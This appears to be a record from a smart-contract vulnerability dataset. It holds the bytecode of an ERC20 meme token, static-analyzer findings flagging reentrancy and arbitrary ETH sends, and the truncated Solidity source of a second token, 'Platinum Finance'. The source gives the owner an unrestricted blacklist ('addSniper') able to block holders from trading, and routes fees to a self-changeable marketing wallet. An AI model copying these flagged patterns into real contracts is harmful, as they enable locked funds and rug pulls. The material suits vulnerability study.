0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c9567bf911610059578063c9567bf9146102f1578063dd62ed3e14610308578063f429389014610345578063f53bc8351461035c576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b4114610289578063a9059cbb146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a9190612459565b60405180910390f35b34801561012f57600080fd5b5061014a6004803603810190610145919061201c565b6103c2565b604051610157919061243e565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b60405161018291906125bb565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611fc9565b6103f0565b6040516101bf919061243e565b60405180910390f35b3480156101d457600080fd5b506101dd6104c9565b6040516101ea9190612630565b60405180910390f35b3480156101ff57600080fd5b506102086104d2565b005b34801561021657600080fd5b50610231600480360381019061022c9190611f2f565b61054c565b60405161023e91906125bb565b60405180910390f35b34801561025357600080fd5b5061025c61059d565b005b34801561026a57600080fd5b506102736106f0565b6040516102809190612370565b60405180910390f35b34801561029557600080fd5b5061029e610719565b6040516102ab9190612459565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d6919061201c565b610756565b6040516102e8919061243e565b60405180910390f35b3480156102fd57600080fd5b50610306610774565b005b34801561031457600080fd5b5061032f600480360381019061032a9190611f89565b610cb4565b60405161033c91906125bb565b60405180910390f35b34801561035157600080fd5b5061035a610d3b565b005b34801561036857600080fd5b50610383600480360381019061037e9190612089565b610dad565b005b60606040518060400160405280600c81526020017f436865727269657320496e750000000000000000000000000000000000000000815250905090565b60006103d66103cf610e18565b8484610e20565b6001905092915050565b6000670de0b6b3a7640000905090565b60006103fd848484610feb565b6104be84610409610e18565b6104b985604051806060016040528060288152602001612c0b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610e18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144d9092919063ffffffff16565b610e20565b600190509392505050565b60006009905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610513610e18565b73ffffffffffffffffffffffffffffffffffffffff161461053357600080fd5b600061053e3061054c565b9050610549816114b1565b50565b6000610596600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611739565b9050919050565b6105a5610e18565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106299061251b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f43494e5500000000000000000000000000000000000000000000000000000000815250905090565b600061076a610763610e18565b8484610feb565b6001905092915050565b61077c610e18565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610809576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108009061251b565b60405180910390fd5b600c60149054906101000a900460ff1615610859576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108509061259b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108e830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000610e20565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561092e57600080fd5b505afa158015610942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109669190611f5c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c857600080fd5b505afa1580156109dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a009190611f5c565b6040518363ffffffff1660e01b8152600401610a1d92919061238b565b602060405180830381600087803b158015610a3757600080fd5b505af1158015610a4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6f9190611f5c565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610af83061054c565b600080610b036106f0565b426040518863ffffffff1660e01b8152600401610b25969594939291906123dd565b6060604051808303818588803b158015610b3e57600080fd5b505af1158015610b52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b7791906120b6565b5050506001600c60166101000a81548160ff021916908315150217905550670de0b6b3a7640000600d819055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c5e9291906123b4565b602060405180830381600087803b158015610c7857600080fd5b505af1158015610c8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb0919061205c565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7c610e18565b73ffffffffffffffffffffffffffffffffffffffff1614610d9c57600080fd5b6000479050610daa816117a7565b50565b610db5610e18565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0e57600080fd5b80600d8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e879061257b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef7906124bb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fde91906125bb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110529061255b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c29061247b565b60405180910390fd5b6000811161110e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111059061253b565b60405180910390fd5b600d5481600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111bd5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6111c85760006111cb565b60015b60ff166111d89190612727565b11156111e357600080fd5b6001600881905550600980819055506111fa6106f0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561126857506112386106f0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561143d57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156113185750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561136e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611383576001600881905550600980819055505b600061138e3061054c565b9050600c60159054906101000a900460ff161580156113fb5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114135750600c60169054906101000a900460ff165b1561143b57611421816114b1565b6000479050600081111561143957611438476117a7565b5b505b505b611448838383611813565b505050565b6000838311158290611495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148c9190612459565b60405180910390fd5b50600083856114a49190612781565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114e9576114e86128dc565b5b6040519080825280602002602001820160405280156115175781602001602082028036833780820191505090505b509050308160008151811061152f5761152e6128ad565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115d157600080fd5b505afa1580156115e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116099190611f5c565b8160018151811061161d5761161c6128ad565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061168430600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e20565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116e89594939291906125d6565b600060405180830381600087803b15801561170257600080fd5b505af1158015611716573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b6000600654821115611780576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117779061249b565b60405180910390fd5b600061178a611823565b905061179f818461184e90919063ffffffff16565b915050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561180f573d6000803e3d6000fd5b5050565b61181e838383611898565b505050565b6000806000611830611a63565b91509150611847818361184e90919063ffffffff16565b9250505090565b600061189083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ac2565b905092915050565b6000806000806000806118aa87611b25565b95509550955095509550955061190886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119e981611c35565b6119f38483611cf2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a5091906125bb565b60405180910390a3505050505050505050565b600080600060065490506000670de0b6b3a76400009050611a97670de0b6b3a764000060065461184e90919063ffffffff16565b821015611ab557600654670de0b6b3a7640000935093505050611abe565b81819350935050505b9091565b60008083118290611b09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b009190612459565b60405180910390fd5b5060008385611b1891906126f6565b9050809150509392505050565b6000806000806000806000806000611b428a600854600954611d2c565b9250925092506000611b52611823565b90506000806000611b658e878787611dc2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611bcf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061144d565b905092915050565b6000808284611be691906126a0565b905083811015611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906124db565b60405180910390fd5b8091505092915050565b6000611c3f611823565b90506000611c568284611e4b90919063ffffffff16565b9050611caa81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d0782600654611b8d90919063ffffffff16565b600681905550611d2281600754611bd790919063ffffffff16565b6007819055505050565b600080600080611d586064611d4a888a611e4b90919063ffffffff16565b61184e90919063ffffffff16565b90506000611d826064611d74888b611e4b90919063ffffffff16565b61184e90919063ffffffff16565b90506000611dab82611d9d858c611b8d90919063ffffffff16565b611b8d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611ddb8589611e4b90919063ffffffff16565b90506000611df28689611e4b90919063ffffffff16565b90506000611e098789611e4b90919063ffffffff16565b90506000611e3282611e248587611b8d90919063ffffffff16565b611b8d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e5e5760009050611ec0565b60008284611e6c9190612727565b9050828482611e7b91906126f6565b14611ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb2906124fb565b60405180910390fd5b809150505b92915050565b600081359050611ed581612bc5565b92915050565b600081519050611eea81612bc5565b92915050565b600081519050611eff81612bdc565b92915050565b600081359050611f1481612bf3565b92915050565b600081519050611f2981612bf3565b92915050565b600060208284031215611f4557611f4461290b565b5b6000611f5384828501611ec6565b91505092915050565b600060208284031215611f7257611f7161290b565b5b6000611f8084828501611edb565b91505092915050565b60008060408385031215611fa057611f9f61290b565b5b6000611fae85828601611ec6565b9250506020611fbf85828601611ec6565b9150509250929050565b600080600060608486031215611fe257611fe161290b565b5b6000611ff086828701611ec6565b935050602061200186828701611ec6565b925050604061201286828701611f05565b9150509250925092565b600080604083850312156120335761203261290b565b5b600061204185828601611ec6565b925050602061205285828601611f05565b9150509250929050565b6000602082840312156120725761207161290b565b5b600061208084828501611ef0565b91505092915050565b60006020828403121561209f5761209e61290b565b5b60006120ad84828501611f05565b91505092915050565b6000806000606084860312156120cf576120ce61290b565b5b60006120dd86828701611f1a565b93505060206120ee86828701611f1a565b92505060406120ff86828701611f1a565b9150509250925092565b60006121158383612121565b60208301905092915050565b61212a816127b5565b82525050565b612139816127b5565b82525050565b600061214a8261265b565b612154818561267e565b935061215f8361264b565b8060005b838110156121905781516121778882612109565b975061218283612671565b925050600181019050612163565b5085935050505092915050565b6121a6816127c7565b82525050565b6121b58161280a565b82525050565b60006121c682612666565b6121d0818561268f565b93506121e081856020860161281c565b6121e981612910565b840191505092915050565b600061220160238361268f565b915061220c82612921565b604082019050919050565b6000612224602a8361268f565b915061222f82612970565b604082019050919050565b600061224760228361268f565b9150612252826129bf565b604082019050919050565b600061226a601b8361268f565b915061227582612a0e565b602082019050919050565b600061228d60218361268f565b915061229882612a37565b604082019050919050565b60006122b060208361268f565b91506122bb82612a86565b602082019050919050565b60006122d360298361268f565b91506122de82612aaf565b604082019050919050565b60006122f660258361268f565b915061230182612afe565b604082019050919050565b600061231960248361268f565b915061232482612b4d565b604082019050919050565b600061233c60178361268f565b915061234782612b9c565b602082019050919050565b61235b816127f3565b82525050565b61236a816127fd565b82525050565b60006020820190506123856000830184612130565b92915050565b60006040820190506123a06000830185612130565b6123ad6020830184612130565b9392505050565b60006040820190506123c96000830185612130565b6123d66020830184612352565b9392505050565b600060c0820190506123f26000830189612130565b6123ff6020830188612352565b61240c60408301876121ac565b61241960608301866121ac565b6124266080830185612130565b61243360a0830184612352565b979650505050505050565b6000602082019050612453600083018461219d565b92915050565b6000602082019050818103600083015261247381846121bb565b905092915050565b60006020820190508181036000830152612494816121f4565b9050919050565b600060208201905081810360008301526124b481612217565b9050919050565b600060208201905081810360008301526124d48161223a565b9050919050565b600060208201905081810360008301526124f48161225d565b9050919050565b6000602082019050818103600083015261251481612280565b9050919050565b60006020820190508181036000830152612534816122a3565b9050919050565b60006020820190508181036000830152612554816122c6565b9050919050565b60006020820190508181036000830152612574816122e9565b9050919050565b600060208201905081810360008301526125948161230c565b9050919050565b600060208201905081810360008301526125b48161232f565b9050919050565b60006020820190506125d06000830184612352565b92915050565b600060a0820190506125eb6000830188612352565b6125f860208301876121ac565b818103604083015261260a818661213f565b90506126196060830185612130565b6126266080830184612352565b9695505050505050565b60006020820190506126456000830184612361565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ab826127f3565b91506126b6836127f3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126eb576126ea61284f565b5b828201905092915050565b6000612701826127f3565b915061270c836127f3565b92508261271c5761271b61287e565b5b828204905092915050565b6000612732826127f3565b915061273d836127f3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127765761277561284f565b5b828202905092915050565b600061278c826127f3565b9150612797836127f3565b9250828210156127aa576127a961284f565b5b828203905092915050565b60006127c0826127d3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612815826127f3565b9050919050565b60005b8381101561283a57808201518184015260208101905061281f565b83811115612849576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612bce816127b5565b8114612bd957600080fd5b50565b612be5816127c7565b8114612bf057600080fd5b50565b612bfc816127f3565b8114612c0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df0b60a8fdf7a3778022302e73c07a598c8dce2aa60ab66863cb399e207fe01264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,706
0xe096061962363d817412277eccf2ec397f08bfe4
//https://t.me/platinumfinanceeth //SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Pt is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Platinum Finance"; string private constant _symbol = "Pt"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xD6906288Deb3D7E1515a82E4ee14B43671c8D801); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2e10 * 10**9; uint256 public _maxWalletSize = 2e10 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ if (snipers[i] != uniswapV2Pair && snipers[i] != address(uniswapV2Router)) { _isSniper[snipers[i]] = true; } } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); 